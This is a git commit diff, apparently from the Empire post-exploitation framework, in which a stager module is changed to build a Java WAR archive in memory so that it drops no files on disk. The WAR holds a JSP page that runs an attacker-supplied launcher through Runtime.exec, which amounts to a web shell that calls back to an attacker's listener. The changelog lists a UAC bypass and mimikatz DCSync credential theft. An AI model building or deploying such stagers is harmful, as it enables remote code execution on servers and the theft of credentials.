Modified war stager to not drop any temp files to disk.
Harmj0y
parent
c0d7fcaf55
commit
a669c85824
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@ -1,3 +1,9 @@
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8/26/2015
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---------
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-Added module privesc/bypassuac_wscript
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-Added module collection/inveigh
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-Added stager war
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8/24/2015
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---------
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-Added credentials/mimikatz/dcsync for remote DC credential extraction
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@ -1,5 +1,6 @@
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from lib.common import helpers
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import subprocess
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import zipfile
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import StringIO
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class Stager:
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@ -26,16 +27,16 @@ class Stager:
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'Required' : True,
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'Value' : ''
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},
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'OutDir' : {
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'Description' : 'Directory to output WAR to.',
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'Required' : True,
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'Value' : '/tmp/'
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'AppName' : {
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'Description' : 'Name for the .war/.jsp. Defaults to listener name.',
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'Required' : False,
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'Value' : ''
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},
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'Base64' : {
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'Description' : 'Switch. Base64 encode the output.',
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'OutFile' : {
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'Description' : 'File to write .war to.',
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'Required' : True,
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'Value' : 'True'
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},
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'Value' : ''
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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@ -68,53 +69,53 @@ class Stager:
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# extract all of our options
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listenerName = self.options['Listener']['Value']
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base64 = self.options['Base64']['Value']
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appName = self.options['AppName']['Value']
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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directoryName = self.options['OutDir']['Value']
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encode = False
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if base64.lower() == "true":
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encode = True
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# appName defaults to the listenername
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if appName == "":
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appName = listenerName
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# generate the launcher code
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
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if launcher == "":
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print helpers.color("[!] Error in launcher command generation.")
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return ""
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elif directoryName[-1] != "/":
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print helpers.color("[!] Error in OutDir Value. Please specify path like '/tmp/'")
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return ""
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else:
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#Create initial JSP and Web XML Strings with placeholders
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jspCode = '''<%@ page import="java.io.*" %>
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<%
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Process p=Runtime.getRuntime().exec("launcher");
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%>
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'''
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wxmlCode = '''<?xml version="1.0"?>
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<!DOCTYPE web-app PUBLIC
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"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
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"http://java.sun.com/dtd/web-app_2_3.dtd">
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<web-app>
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<servlet>
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<servlet-name>listenerName</servlet-name>
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<jsp-file>/listenerName.jsp</jsp-file>
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</servlet>
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</web-app>
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'''
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#Replace String placeholders with defined content
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jspCode = jspCode.replace("launcher", launcher)
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wxmlCode = wxmlCode.replace("listenerName", listenerName, 2)
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#Write out modified strings to apropriate files
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with open(directoryName + listenerName + ".jsp", "w") as jspFile:
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jspFile.write(jspCode)
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with open(directoryName + "web.xml", "w") as webxmlFile:
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webxmlFile.write(wxmlCode)
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#Create necessary directory structure, move files into appropriate place, compile, and delete unncessary left over content
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proc = subprocess.call("cd "+ directoryName + "&&mkdir warDir&&mkdir warDir/WEB-INF&&mv listenerName.jsp warDir&&mv web.xml warDir/WEB-INF&&cd warDir&&jar cvf listenerName.war *&&mv listenerName.war ../&&cd ..&&rm -rf warDir".replace ("listenerName", listenerName, 3), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
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return "Your file " + listenerName + ".war was successfully generated and placed within " + directoryName +". Please note that the .war and .jsp are both named after the specified Listener."
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else:
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# .war manifest
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manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_35 (Sun Microsystems Inc.)\r\n\r\n"
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# Create initial JSP and Web XML Strings with placeholders
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jspCode = '''<%@ page import="java.io.*" %>
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<%
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Process p=Runtime.getRuntime().exec("'''+str(launcher)+'''");
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%>
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'''
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# .xml deployment config
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wxmlCode = '''<?xml version="1.0"?>
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<!DOCTYPE web-app PUBLIC
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"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
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"http://java.sun.com/dtd/web-app_2_3.dtd">
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<web-app>
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<servlet>
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<servlet-name>%s</servlet-name>
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<jsp-file>/%s.jsp</jsp-file>
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</servlet>
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</web-app>
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''' %(appName, appName)
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# build the in-memory ZIP and write the three files in
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warFile = StringIO.StringIO()
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zipData = zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED)
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zipData.writestr("META-INF/MANIFEST.MF", manifest)
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zipData.writestr("WEB-INF/web.xml", wxmlCode)
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zipData.writestr(appName + ".jsp", jspCode)
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zipData.close()
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return warFile.getvalue()
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